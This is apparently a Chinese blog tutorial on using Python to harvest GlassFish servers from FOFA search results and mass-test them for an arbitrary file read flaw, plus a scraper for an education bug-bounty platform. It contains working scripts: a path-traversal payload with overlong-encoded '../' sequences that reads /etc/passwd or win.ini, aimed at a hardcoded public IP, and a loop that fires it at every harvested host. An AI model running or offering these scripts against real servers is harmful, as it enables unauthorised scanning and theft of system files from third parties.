批量Fofa&SRC提取&POC验证

1211861fb5a4d13099c65fae69f95b90

  • 本课知识点:Request爬虫技术,lxml数据提取,异常处理,fofa等使用说明
  • 学习目的:掌握利用公开或0day漏洞进行批量化的收集及验证脚本开发

额后面需要fofa会员,才行,我这里没有会员,但是我有会员的key

其实如果有会员的话,加上fofa图形化的工具,配置一下会员的邮箱和key就可以和会员差不多,而且提取目标可以直接将结果导出成csv文件,然后在Excel中进行提取非常方便

Snipaste_2023-08-19_20-45-42

首先观察fofa的url:https://fofa.info/result?qbase64=YXBwPSJISUtWSVNJT04t6KeG6aKR55uR5o6nIg%3D%3D

格式是:https://fofa.info/result?qbase64=

后面的内容使用base64进行解码:

因为这里是在网址上所以首先需要进行一次url的解码

Snipaste_2023-08-20_13-02-20

Snipaste_2023-08-20_13-02-31

从这里可以得出内容就是将搜索框中的内容进行base64进行编码,然后进行传输的

所以在代码中使用base64进行编码,然后进行url的拼接就可以得到完整的url

如果想要批量化获取fofa的搜索结果:

url:https://fofa.info/result?qbase64=YXBwPSJURFhLLemAmui%2Bvk9BIiAmJiAoaWNvbl9oYXNoPSItOTkxOTgxMzUiIHx8IGljb25faGFzaD0iLTc1OTEwODM4NiIp&page=2&page_size=20

这里还多了两个参数一个是page这个参数就是页数的意思,另外一个就是page_size这个就是每一页显示多少条的意思

glassfish任意文件读取_验证脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests


def glassfish_vcheck(url):
payload_linux = "/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd"
payload_windows = "/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/Windows/win.ini"

data_linux = requests.get(url + payload_linux) # 获取请求后的返回源代码
data_windows = requests.get(url + payload_windows)# 获取请求后的返回源代码

statuscode_linux = data_linux.status_code # 获取请求后的返回状态码
statuscode_windows = data_windows.status_code # 获取请求后的返回状态码

if statuscode_linux == 200:
print("glassfish(linux)任意文件读取漏洞存在")
print(data_linux.text)
elif statuscode_windows == 200:
print("glassfish(windows)任意文件读取漏洞存在")
print(data_windows.text)
else:
print("glassfish任意文件读取漏洞不存在")


if __name__ == '__main__':
# 可以进入fofa网址,搜索app="glassfish" && port="4848",找到可能存在漏洞的网站。
url = "http://123.56.92.105:4848"
glassfish_vcheck(url)

Fofa搜索结果批量采集脚本

  • 进入fofa网址(https://fofa.info/),搜索”glassfish” && port=”4848”,找到可能存在漏洞的网站
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import requests,base64,time
from lxml import etree #提前安装 lxml模块:python3 -m pip install lxml

'''
如何实现这个漏洞批量化:
1.获取到可能存在漏洞的地址信息-借助Fofa进行获取目标
1.1将请求的数据进行筛选
2.批量请求地址信息进行判断是否存在-单线程和多线程
'''
#非会员,只能收集10条
def ip_collect():
url = "https://fofa.so/result?qbase64="
search_data = '"glassfish" && port="4848" && country="CN" '
search_data_b64 = base64.b64encode(search_data.encode("utf-8")).decode("utf-8")
urls = url+search_data_b64
result = requests.get(urls).content
soup = etree.HTML(result)
ip_data = soup.xpath('//span[@class = "aSpan"]/a[@target="_blank"]/@href')
ip_data=set(ip_data) #去除重复的IP
# print(ip_data)
ipdata = '\n'.join(ip_data)
with open(r'ip-10.txt','a+') as f:
f.write(ipdata+'\n')

#会员,可收集很多条
def ip_collect_vip():
search_data = '"glassfish" && port="4848"'
search_data_b64 = base64.b64encode(search_data.encode("utf-8")).decode("utf-8")
headers = {
'cookie':'_fofapro_ars_session=aaaaaaaaaaaaaaaaaaaaaaaaa'
}
for pageNumber in range(1,11):
urls = "https://fofa.so/result?page="+str(pageNumber)+"&qbase64="+search_data_b64
print('正在提取第'+str(pageNumber)+'页')
try:
result = requests.get(urls,headers=headers,timeout=0.5).content
soup = etree.HTML(result)
ip_data = soup.xpath('//span[@class = "aSpan"]/a[@target="_blank"]/@href')
ip_data = set(ip_data) # 去除重复的IP
print(ip_data)
ipdata = '\n'.join(ip_data)
with open(r'ip-200.txt','a+') as f:
f.write(ipdata+'\n')
except Exception as e:
pass

if __name__ == '__main__':
ip_collect()
# ip_collect_vip()

POC批量验证脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import time 
import requests


def glassfish_vcheck():

payload_linux = "/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd"
payload_windows = "/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/Windows/win.ini"

for url in open('ip-10.txt'):
url = url.replace('\n', '')

data_linux = requests.get(url + payload_linux) # 获取请求后的返回源代码
data_windows = requests.get(url + payload_windows) # 获取请求后的返回源代码

statuscode_linux = data_linux.status_code # 获取请求后的返回状态码
statuscode_windows = data_windows.status_code # 获取请求后的返回状态码

print("check->" + url)
try:
with open(r'vuln.txt', 'a+',encoding='utf8') as f:
if statuscode_linux == 200:
f.write("-----------------------------------------------\n")
f.write(url + "存在glassfish任意文件读取漏洞\n")
f.write(url + "是linux系统\n")
# f.write(data_linux.text)
elif statuscode_windows == 200:
f.write("-----------------------------------------------\n")
f.write(url + "存在glassfish任意文件读取漏洞\n")
f.write(url + "是windows系统\n")
# f.write(data_windows.text)
else:
f.write("-----------------------------------------------\n")
f.write(url + "不存在glassfish任意文件读取漏洞\n")
time.sleep(0.5)
except Exception as e:
pass

if __name__ == '__main__':
glassfish_vcheck()

教育SRC报告平台信息批量提取脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests,time
from lxml import etree

def src_collect(page):
try:
for i in range(1,int(page)+1):
url = "https://src.sjtu.edu.cn/list/?page="+str(i)
print("正在提取第"+str(i)+"页")
r = requests.get(url).content
soup = etree.HTML(r)
result = soup.xpath('//td[@class=""]/a/text()')
results = '\n'.join(result)
resultss = results.split()
for edu in resultss:
with open(r'src-edu.txt','a+',encoding='utf-8') as f:
f.write(edu + '\n')
except Exception as e:
time.sleep(0.5)
pass

if __name__ == '__main__':
page = input("你需要提取几页?-->")
src_collect(page)

上面这些来自:https://blog.1997sty.com/archives/4263

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import base64

search_data='app="TDXK-通达OA"' #想要搜索的内容

url='https://fofa.info/result?qbase64='

#这里需要强制转换下编码

search_data_bs=str(base64.b64encode(search_data.encode('utf-8')),"utf-8") #首先是进行utf-8的编码,然后是进行base64的编码最后在将这个编码强制转换成utf-8

urls=url+search_data_bs #进行url的拼接

result=requests.get(urls).content

print(result.decode('utf-8'))

"""
其中,变量urls是您要访问的网址,requests.get(urls)函数会向该网址发送一个GET请求,并返回一个Response对象,该对象包含了响应的各种信息,如状态码、响应头、响应文本等。response.text就是获取响应文本的方法,它返回的是一个字符串,包含了响应的HTML源代码。

需要注意的是,如果您请求的是非文本类型的文件,如图片、视频等,那么response.text方法将返回的是该文件的二进制数据,而不是文本内容。此时您可以使用response.content方法来获取该文件的二进制数据。
"""

Snipaste_2023-08-20_13-13-53

可以看到得到的就是fofa的搜索内容的前端源码

这里我自己分析的时候环境老是有问题,百度解决一个又一个,所以这里就把重要的代码拿出来分析一波吧

1
2
3
4
5
soup.xpath('//a[@target="_blank"]/@href')
#这个的意思就是把源代码中的a标签中等于[target="_blank"]的标签,然后获取里面的href的属性
#但是这么搞的话是有不符合条件的数据也会被匹配进来的所以,需要找正常数据和不正常数据的不同点
soup.xpath('//div[@class="re-domain"]/a[@target="_blank"]/@href')
#这样就是匹配在div标签中等于class="re-domain"的内容下在进行上面的匹配